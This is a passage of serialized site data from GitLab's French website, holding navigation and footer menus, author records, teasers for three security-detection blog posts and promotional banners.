sector",{"text":1210,"config":1211},"Tarifs",{"href":1212,"dataGaName":1213,"dataGaLocation":1062,"dataNavLevelOne":1213},"/fr-fr/pricing/","pricing",{"text":1215,"config":1216,"menu":1218},"Ressources",{"dataNavLevelOne":1217},"resources",{"type":1113,"link":1219,"columns":1223,"feature":1317},{"text":1220,"config":1221},"Afficher toutes les ressources",{"href":1222,"dataGaName":1217,"dataGaLocation":1062},"/fr-fr/resources/",[1224,1257,1284],{"title":1225,"items":1226},"Premiers pas",[1227,1232,1237,1242,1247,1252],{"text":1228,"config":1229},"Installation",{"href":1230,"dataGaName":1231,"dataGaLocation":1062},"/fr-fr/install/","install",{"text":1233,"config":1234},"Guides de démarrage",{"href":1235,"dataGaName":1236,"dataGaLocation":1062},"/fr-fr/get-started/","quick setup checklists",{"text":1238,"config":1239},"Apprentissage",{"href":1240,"dataGaLocation":1062,"dataGaName":1241},"https://university.gitlab.com/","learn",{"text":1243,"config":1244},"Documentation",{"href":1245,"dataGaName":1246,"dataGaLocation":1062},"https://docs.gitlab.com/","product documentation",{"text":1248,"config":1249},"Vidéos sur les bonnes pratiques",{"href":1250,"dataGaName":1251,"dataGaLocation":1062},"/fr-fr/getting-started-videos/","best practice videos",{"text":1253,"config":1254},"Intégrations",{"href":1255,"dataGaName":1256,"dataGaLocation":1062},"/fr-fr/integrations/","integrations",{"title":1258,"items":1259},"Découvrir",[1260,1265,1270,1275,1279],{"text":1261,"config":1262},"Témoignages clients",{"href":1263,"dataGaName":1264,"dataGaLocation":1062},"/fr-fr/customers/","customer success stories",{"text":1266,"config":1267},"Blog",{"href":1268,"dataGaName":1269,"dataGaLocation":1062},"/fr-fr/blog/","blog",{"text":1271,"config":1272},"Demo Hub",{"href":1273,"dataGaName":1274,"dataGaLocation":1062},"/fr-fr/demo-hub/","demo hub",{"text":1276,"config":1277},"The Source",{"href":1278,"dataGaName":1269,"dataGaLocation":1062},"/fr-fr/the-source/",{"text":1280,"config":1281},"Travail à distance",{"href":1282,"dataGaName":1283,"dataGaLocation":1062},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":1285,"items":1286},"Connecter",[1287,1292,1297,1302,1307,1312],{"text":1288,"config":1289},"Services GitLab",{"href":1290,"dataGaName":1291,"dataGaLocation":1062},"/fr-fr/services/","services",{"text":1293,"config":1294},"Contribuer",{"href":1295,"dataGaName":1296,"dataGaLocation":1062},"https://contributors.gitlab.com","contribute",{"text":1298,"config":1299},"Communauté",{"href":1300,"dataGaName":1301,"dataGaLocation":1062},"/community/","community",{"text":1303,"config":1304},"Forum",{"href":1305,"dataGaName":1306,"dataGaLocation":1062},"https://forum.gitlab.com/","forum",{"text":1308,"config":1309},"Événements",{"href":1310,"dataGaName":1311,"dataGaLocation":1062},"/events/","events",{"text":1313,"config":1314},"Partenaires",{"href":1315,"dataGaName":1316,"dataGaLocation":1062},"/fr-fr/partners/","partners",{"config":1318,"title":1321,"text":1322,"link":1323},{"background":1319,"textColor":1320},"url('https://res.cloudinary.com/about-gitlab-com/image/upload/v1777322348/qpq8yrgn8knii57omj0c.png')","#000","Nouveautés de GitLab","Découvrez les dernières fonctionnalités et améliorations.",{"text":1324,"config":1325},"Lire les articles les plus récents",{"href":1326,"dataGaName":1327,"dataGaLocation":1062},"/fr-fr/whats-new/","whats new",{"text":1329,"config":1330,"menu":1332},"Société",{"dataNavLevelOne":1331},"company",{"type":1113,"columns":1333},[1334],{"items":1335},[1336,1341,1347,1349,1354,1359,1364,1369,1374,1379],{"text":1337,"config":1338},"À propos",{"href":1339,"dataGaName":1340,"dataGaLocation":1062},"/fr-fr/company/","about",{"text":1342,"config":1343,"footerGa":1346},"Carrières",{"href":1344,"dataGaName":1345,"dataGaLocation":1062},"/jobs/","jobs",{"dataGaName":1345},{"text":1308,"config":1348},{"href":1310,"dataGaName":1311,"dataGaLocation":1062},{"text":1350,"config":1351},"Leadership",{"href":1352,"dataGaName":1353,"dataGaLocation":1062},"/company/team/e-group/","leadership",{"text":1355,"config":1356},"Manuel",{"href":1357,"dataGaName":1358,"dataGaLocation":1062},"https://handbook.gitlab.com/","handbook",{"text":1360,"config":1361},"Relations avec les investisseurs",{"href":1362,"dataGaName":1363,"dataGaLocation":1062},"https://ir.gitlab.com/overview/default.aspx","investor relations",{"text":1365,"config":1366},"Trust Center",{"href":1367,"dataGaName":1368,"dataGaLocation":1062},"/fr-fr/security/","trust center",{"text":1370,"config":1371},"Centre pour la transparence de l'IA",{"href":1372,"dataGaName":1373,"dataGaLocation":1062},"/fr-fr/ai-transparency-center/","ai transparency center",{"text":1375,"config":1376},"Newsletter",{"href":1377,"dataGaName":1378,"dataGaLocation":1062},"/company/contact/#contact-forms","newsletter",{"text":1380,"config":1381},"Presse",{"href":1382,"dataGaName":1383,"dataGaLocation":1062},"/press/","press",{"text":1385,"config":1386,"menu":1387},"Nous contacter",{"dataNavLevelOne":1331},{"type":1113,"columns":1388},[1389],{"items":1390},[1391,1396,1401],{"text":1392,"config":1393},"Contacter l'équipe commerciale",{"href":1394,"dataGaName":1395,"dataGaLocation":1062},"/fr-fr/sales/","talk to sales",{"text":1397,"config":1398},"Assistance GitLab",{"href":1399,"dataGaName":1400,"dataGaLocation":1062},"https://support.gitlab.com/hc/en-us","support portal",{"text":1402,"config":1403},"Portail clients GitLab",{"href":1404,"dataGaName":1405,"dataGaLocation":1062},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":1407,"login":1408,"suggestions":1415},"Fermer",{"text":1409,"link":1410},"Pour rechercher des dépôts et des projets, connectez-vous à",{"text":1411,"config":1412},"GitLab.com",{"href":1076,"dataGaName":1413,"dataGaLocation":1414},"search login","search",{"text":1416,"default":1417},"Suggestions",[1418,1421,1426,1428,1433,1438],{"text":1093,"config":1419},{"href":1098,"dataGaName":1420,"dataGaLocation":1414},"GitLab Duo Agent Platform",{"text":1422,"config":1423},"Suggestions de code (IA)",{"href":1424,"dataGaName":1425,"dataGaLocation":1414},"/fr-fr/solutions/code-suggestions/","Code Suggestions (AI)",{"text":28,"config":1427},{"href":1130,"dataGaName":28,"dataGaLocation":1414},{"text":1429,"config":1430},"GitLab sur AWS",{"href":1431,"dataGaName":1432,"dataGaLocation":1414},"/fr-fr/partners/technology-partners/aws/","GitLab on AWS",{"text":1434,"config":1435},"GitLab sur Google Cloud",{"href":1436,"dataGaName":1437,"dataGaLocation":1414},"/fr-fr/partners/technology-partners/google-cloud-platform/","GitLab on Google Cloud",{"text":1439,"config":1440},"Pourquoi utiliser GitLab ?",{"href":1106,"dataGaName":1441,"dataGaLocation":1414},"Why GitLab?",{"freeTrial":1443,"mobileIcon":1448,"desktopIcon":1453,"secondaryButton":1456},{"text":1444,"config":1445},"Commencer votre essai gratuit",{"href":1446,"dataGaName":1067,"dataGaLocation":1447},"https://gitlab.com/-/trials/new/","nav",{"altText":1449,"config":1450},"Icône GitLab",{"src":1451,"dataGaName":1452,"dataGaLocation":1447},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":1449,"config":1454},{"src":1455,"dataGaName":1452,"dataGaLocation":1447},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":1457,"config":1458},"Commencer",{"href":1459,"dataGaName":1460,"dataGaLocation":1447},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/fr-fr/get-started/","get started",{"freeTrial":1462,"mobileIcon":1466,"desktopIcon":1468},{"text":1463,"config":1464},"En savoir plus sur GitLab Duo",{"href":1098,"dataGaName":1465,"dataGaLocation":1447},"gitlab duo",{"altText":1449,"config":1467},{"src":1451,"dataGaName":1452,"dataGaLocation":1447},{"altText":1449,"config":1469},{"src":1455,"dataGaName":1452,"dataGaLocation":1447},{"button":1471,"mobileIcon":1476,"desktopIcon":1478},{"text":1472,"config":1473},"/switch",{"href":1474,"dataGaName":1475,"dataGaLocation":1447},"#contact","switch",{"altText":1449,"config":1477},{"src":1451,"dataGaName":1452,"dataGaLocation":1447},{"altText":1449,"config":1479},{"src":1480,"dataGaName":1452,"dataGaLocation":1447},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":1482,"mobileIcon":1487,"desktopIcon":1489},{"text":1483,"config":1484},"Retour aux tarifs",{"href":1212,"dataGaName":1485,"dataGaLocation":1447,"icon":1486},"back to pricing","GoBack",{"altText":1449,"config":1488},{"src":1451,"dataGaName":1452,"dataGaLocation":1447},{"altText":1449,"config":1490},{"src":1455,"dataGaName":1452,"dataGaLocation":1447},{"title":1492,"button":1493,"config":1497},"GitLab Orbit est arrivé : la couche de contexte pour les agents d'IA.",{"text":1104,"config":1494},{"href":1495,"dataGaName":1496,"dataGaLocation":1062},"/fr-fr/gitlab-orbit/","orbit",{"layout":1498,"disabled":1049},"release",{"data":1500},{"text":1501,"source":1502,"edit":1508,"contribute":1513,"config":1517,"items":1522,"minimal":1730},"Git est une marque déposée de Software Freedom Conservancy et notre utilisation de « GitLab » est sous licence.",{"text":1503,"config":1504},"Afficher le code source de la page",{"href":1505,"dataGaName":1506,"dataGaLocation":1507},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":1509,"config":1510},"Modifier cette page",{"href":1511,"dataGaName":1512,"dataGaLocation":1507},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":1293,"config":1514},{"href":1515,"dataGaName":1516,"dataGaLocation":1507},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":1518,"facebook":1519,"youtube":1520,"linkedin":1521},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[1523,1569,1622,1665,1697],{"title":1210,"links":1524,"subMenu":1539},[1525,1529,1534],{"text":1526,"config":1527},"Voir les forfaits",{"href":1212,"dataGaName":1528,"dataGaLocation":1507},"view plans",{"text":1530,"config":1531},"GitLab Premium",{"href":1532,"dataGaName":1533,"dataGaLocation":1507},"/fr-fr/pricing/premium/","why premium",{"text":1535,"config":1536},"GitLab Ultimate",{"href":1537,"dataGaName":1538,"dataGaLocation":1507},"/fr-fr/pricing/ultimate/","why ultimate",[1540],{"title":1385,"links":1541},[1542,1544,1546,1549,1554,1559,1564],{"text":1392,"config":1543},{"href":1394,"dataGaName":1072,"dataGaLocation":1507},{"text":1397,"config":1545},{"href":1399,"dataGaName":1400,"dataGaLocation":1507},{"text":1547,"config":1548},"Portail clients",{"href":1404,"dataGaName":1405,"dataGaLocation":1507},{"text":1550,"config":1551},"Statut",{"href":1552,"dataGaName":1553,"dataGaLocation":1507},"https://status.gitlab.com/","status",{"text":1555,"config":1556},"Conditions d'utilisation",{"href":1557,"dataGaName":1558,"dataGaLocation":1507},"/terms/","terms of use",{"text":1560,"config":1561},"Politique de confidentialité",{"href":1562,"dataGaName":1563,"dataGaLocation":1507},"/fr-fr/privacy/","privacy statement",{"text":1565,"config":1566},"Gestion des cookies",{"dataGaName":1567,"dataGaLocation":1507,"id":1568,"isOneTrustButton":1043},"cookie preferences","ot-sdk-btn",{"title":1109,"links":1570,"subMenu":1579},[1571,1575],{"text":1572,"config":1573},"Plateforme DevSecOps",{"href":1091,"dataGaName":1574,"dataGaLocation":1507},"devsecops platform",{"text":1576,"config":1577},"Développement assisté par l'IA",{"href":1098,"dataGaName":1578,"dataGaLocation":1507},"ai-assisted development",[1580],{"title":1581,"links":1582},"Thèmes",[1583,1587,1592,1597,1602,1607,1612,1617],{"text":28,"config":1584},{"href":1585,"dataGaName":1586,"dataGaLocation":1507},"/fr-fr/topics/ci-cd/","cicd",{"text":1588,"config":1589},"GitOps",{"href":1590,"dataGaName":1591,"dataGaLocation":1507},"/fr-fr/topics/gitops/","gitops",{"text":1593,"config":1594},"DevOps",{"href":1595,"dataGaName":1596,"dataGaLocation":1507},"/fr-fr/topics/devops/","devops",{"text":1598,"config":1599},"Contrôle de version",{"href":1600,"dataGaName":1601,"dataGaLocation":1507},"/fr-fr/topics/version-control/","version control",{"text":1603,"config":1604},"DevSecOps",{"href":1605,"dataGaName":1606,"dataGaLocation":1507},"/fr-fr/topics/devsecops/","devsecops",{"text":1608,"config":1609},"Cloud-native",{"href":1610,"dataGaName":1611,"dataGaLocation":1507},"/fr-fr/topics/cloud-native/","cloud native",{"text":1613,"config":1614},"IA pour la programmation",{"href":1615,"dataGaName":1616,"dataGaLocation":1507},"/fr-fr/topics/devops/ai-for-coding/","ai for coding",{"text":1618,"config":1619},"IA agentique",{"href":1620,"dataGaName":1621,"dataGaLocation":1507},"/fr-fr/topics/agentic-ai/","agentic ai",{"title":1623,"links":1624},"Solutions",[1625,1628,1630,1635,1638,1641,1644,1647,1649,1652,1655,1660],{"text":1153,"config":1626},{"href":1148,"dataGaName":1627,"dataGaLocation":1507},"Application Security Testing",{"text":1140,"config":1629},{"href":1125,"dataGaName":1126,"dataGaLocation":1507},{"text":1631,"config":1632},"Développement Agile",{"href":1633,"dataGaName":1634,"dataGaLocation":1507},"/fr-fr/solutions/agile-delivery/","agile delivery",{"text":1135,"config":1636},{"href":1137,"dataGaName":1637,"dataGaLocation":1507},"source code management",{"text":28,"config":1639},{"href":1130,"dataGaName":1640,"dataGaLocation":1507},"continuous integration & delivery",{"text":1179,"config":1642},{"href":1181,"dataGaName":1643,"dataGaLocation":1507},"value stream management",{"text":1588,"config":1645},{"href":1646,"dataGaName":1591,"dataGaLocation":1507},"/fr-fr/solutions/gitops/",{"text":1192,"config":1648},{"href":1195,"dataGaName":1196,"dataGaLocation":1507},{"text":1650,"config":1651},"PME",{"href":1201,"dataGaName":1202,"dataGaLocation":1507},{"text":1653,"config":1654},"Secteur public",{"href":1207,"dataGaName":1208,"dataGaLocation":1507},{"text":1656,"config":1657},"Éducation",{"href":1658,"dataGaName":1659,"dataGaLocation":1507},"/fr-fr/solutions/education/","education",{"text":1661,"config":1662},"Services financiers",{"href":1663,"dataGaName":1664,"dataGaLocation":1507},"/fr-fr/solutions/finance/","financial services",{"title":1215,"links":1666},[1667,1669,1671,1673,1676,1678,1681,1683,1685,1687,1689,1691,1693,1695],{"text":1228,"config":1668},{"href":1230,"dataGaName":1231,"dataGaLocation":1507},{"text":1233,"config":1670},{"href":1235,"dataGaName":1236,"dataGaLocation":1507},{"text":1238,"config":1672},{"href":1240,"dataGaName":1241,"dataGaLocation":1507},{"text":1243,"config":1674},{"href":1245,"dataGaName":1675,"dataGaLocation":1507},"docs",{"text":1266,"config":1677},{"href":1268,"dataGaName":1269,"dataGaLocation":1507},{"text":1679,"config":1680},"Nouveautés",{"href":1326,"dataGaName":1327,"dataGaLocation":1507},{"text":1261,"config":1682},{"href":1263,"dataGaName":1264,"dataGaLocation":1507},{"text":1280,"config":1684},{"href":1282,"dataGaName":1283,"dataGaLocation":1507},{"text":1288,"config":1686},{"href":1290,"dataGaName":1291,"dataGaLocation":1507},{"text":1293,"config":1688},{"href":1295,"dataGaName":1296,"dataGaLocation":1507},{"text":1298,"config":1690},{"href":1300,"dataGaName":1301,"dataGaLocation":1507},{"text":1303,"config":1692},{"href":1305,"dataGaName":1306,"dataGaLocation":1507},{"text":1308,"config":1694},{"href":1310,"dataGaName":1311,"dataGaLocation":1507},{"text":1313,"config":1696},{"href":1315,"dataGaName":1316,"dataGaLocation":1507},{"title":1329,"links":1698},[1699,1701,1703,1705,1707,1709,1714,1719,1721,1723,1725],{"text":1337,"config":1700},{"href":1339,"dataGaName":1331,"dataGaLocation":1507},{"text":1342,"config":1702},{"href":1344,"dataGaName":1345,"dataGaLocation":1507},{"text":1350,"config":1704},{"href":1352,"dataGaName":1353,"dataGaLocation":1507},{"text":1355,"config":1706},{"href":1357,"dataGaName":1358,"dataGaLocation":1507},{"text":1360,"config":1708},{"href":1362,"dataGaName":1363,"dataGaLocation":1507},{"text":1710,"config":1711},"Développement durable",{"href":1712,"dataGaName":1713,"dataGaLocation":1507},"/sustainability/","Sustainability",{"text":1715,"config":1716},"Diversité, inclusion et appartenance (DIB)",{"href":1717,"dataGaName":1718,"dataGaLocation":1507},"/fr-fr/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":1365,"config":1720},{"href":1367,"dataGaName":1368,"dataGaLocation":1507},{"text":1375,"config":1722},{"href":1377,"dataGaName":1378,"dataGaLocation":1507},{"text":1380,"config":1724},{"href":1382,"dataGaName":1383,"dataGaLocation":1507},{"text":1726,"config":1727},"Déclaration de transparence sur l'esclavage moderne",{"href":1728,"dataGaName":1729,"dataGaLocation":1507},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":1731},[1732,1734,1736],{"text":1555,"config":1733},{"href":1557,"dataGaName":1558,"dataGaLocation":1507},{"text":1565,"config":1735},{"dataGaName":1567,"dataGaLocation":1507,"id":1568,"isOneTrustButton":1043},{"text":1560,"config":1737},{"href":1562,"dataGaName":1563,"dataGaLocation":1507},[1739,1753],{"id":1740,"title":7,"body":1042,"config":1741,"content":1743,"description":1042,"extension":1747,"meta":1748,"navigation":1043,"path":1749,"seo":1750,"stem":1751,"__hash__":1752},"blogAuthors/en-us/blog/authors/dinesh-bolkensteyn.yml",{"template":1742},"BlogAuthor",{"name":7,"config":1744},{"headshot":1745,"ctfId":1746},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1781016491/cs30c757njvhqnyizzmn.jpg","EpylYWgjPmFOL5NX3Zxmk","yml",{},"/en-us/blog/authors/dinesh-bolkensteyn",{},"en-us/blog/authors/dinesh-bolkensteyn","Pv3nFIJV4WoNXz6FcpkaLOBx8QTtXH1KIVGmxt1GGME",{"id":1754,"title":8,"body":1042,"config":1755,"content":1757,"description":1042,"extension":1747,"meta":1760,"navigation":1043,"path":1761,"seo":1762,"stem":1763,"__hash__":1764},"blogAuthors/en-us/blog/authors/daniel-abeles.yml",{"template":1742,"gitlabHandle":1756},"dabeles",{"name":8,"config":1758},{"headshot":1759},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1786473980/kjzctsiwvfc6afimsdtc.jpg",{},"/en-us/blog/authors/daniel-abeles",{},"en-us/blog/authors/daniel-abeles","9j7gS6WI8857OrOR0VcnHZiFLXpZpnKFA3tgPdDU5hw",[1766,1775,1783],{"title":1767,"description":1768,"heroImage":1769,"category":1038,"date":1770,"authors":1771,"slug":1774,"externalUrl":1042},"Comment détecter et prévenir les attaques de type Contagious Interview dans les IDE","Découvrez comment nous avons développé des contrôles sur mesure pour détecter et prévenir les campagnes de logiciels malveillants comme celles utilisées lors des attaques Contagious Interview, et comment les déployer dans votre environnement.","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1774375772/kpaaaiqhokevxxeoxvu0.png","2026-06-24",[1772,1773],"Josh Feehs","Austin Bollinger","how-to-detect-and-prevent-contagious-interview-ide-attacks",{"title":1776,"description":1777,"heroImage":1778,"category":1038,"date":1779,"authors":1780,"slug":1782,"externalUrl":1042},"Créez un framework de tests de détection automatisés avec GitLab CI/CD et GitLab Duo","Découvrez comment l'équipe Signals Engineering de GitLab a conçu le framework WATCH pour valider en continu son pipeline de surveillance de sécurité.","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1772195014/ooezwusxjl1f7ijfmbvj.png","2026-06-08",[1781],"Evan Baltman","automated-detection-testing-framework",{"title":1784,"description":1785,"heroImage":1786,"category":1038,"date":1787,"authors":1788,"slug":1790,"externalUrl":1042},"Automatiser l'analyse des lacunes de détection avec GitLab Duo Agent Platform","Découvrez comment l'équipe Signals Engineering de GitLab utilise notre plateforme d'IA pour identifier automatiquement les lacunes de détection après chaque incident de sécurité.","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1773147991/op5xyroonltdwqix0x3u.png","2026-05-21",[1789],"Matt Coons","automating-detection-gap-analysis-with-gitlab-duo-agent-platform",{"promotions":1792},[1793,1807,1819,1830],{"id":1794,"categories":1795,"header":1797,"text":1798,"button":1799,"image":1804},"ai-modernization",[1796],"ai","L'IA tient-elle ses promesses à grande échelle ?","Le questionnaire ne prendra pas plus de 5 minutes.",{"text":1800,"config":1801},"Obtenez votre score de maturité IA",{"href":1802,"dataGaName":1803,"dataGaLocation":1269},"/fr-fr/assessments/ai-modernization-assessment/","modernization assessment",{"config":1805},{"src":1806},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":1808,"categories":1809,"header":1811,"text":1798,"button":1812,"image":1816},"devops-modernization",[1810,1606],"product","Vous contentez-vous de gérer des outils ou de livrer des innovations ?",{"text":1813,"config":1814},"Obtenez votre score de maturité DevOps",{"href":1815,"dataGaName":1803,"dataGaLocation":1269},"/fr-fr/assessments/devops-modernization-assessment/",{"config":1817},{"src":1818},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":1820,"categories":1821,"header":1822,"text":1798,"button":1823,"image":1827},"security-modernization",[1053],"Faut-il sacrifier la rapidité pour garantir la sécurité ?",{"text":1824,"config":1825},"Obtenez votre score de maturité en matière de sécurité",{"href":1826,"dataGaName":1803,"dataGaLocation":1269},"/fr-fr/assessments/security-modernization-assessment/",{"config":1828},{"src":1829},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"id":1831,"paths":1832,"header":1835,"text":1836,"button":1837,"image":1842},"github-azure-migration",[1833,1834],"migration-from-azure-devops-to-gitlab","integrating-azure-devops-scm-and-gitlab","Votre équipe est-elle prête pour la migration de GitHub vers Azure ?","GitHub a déjà commencé sa migration vers Azure. Découvrez ce que cela signifie pour vous.",{"text":1838,"config":1839},"Découvrez les différences entre GitLab et GitHub",{"href":1840,"dataGaName":1841,"dataGaLocation":1269},"/fr-fr/compare/gitlab-vs-github/github-azure-migration/","github azure migration",{"config":1843},{"src":1818},{"header":1845,"blurb":1846,"button":1847,"secondaryButton":1851},"Commencez à développer plus rapidement dès aujourd'hui","Découvrez ce que votre équipe peut accomplir avec la plateforme d'orchestration intelligente pour le DevSecOps.\n",{"text":1064,"config":1848},{"href":1849,"dataGaName":1067,"dataGaLocation":1850},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/fr-fr/","feature",{"text":1392,"config":1852},{"href":1394,"dataGaName":1072,"dataGaLocation":1850},1786803747245]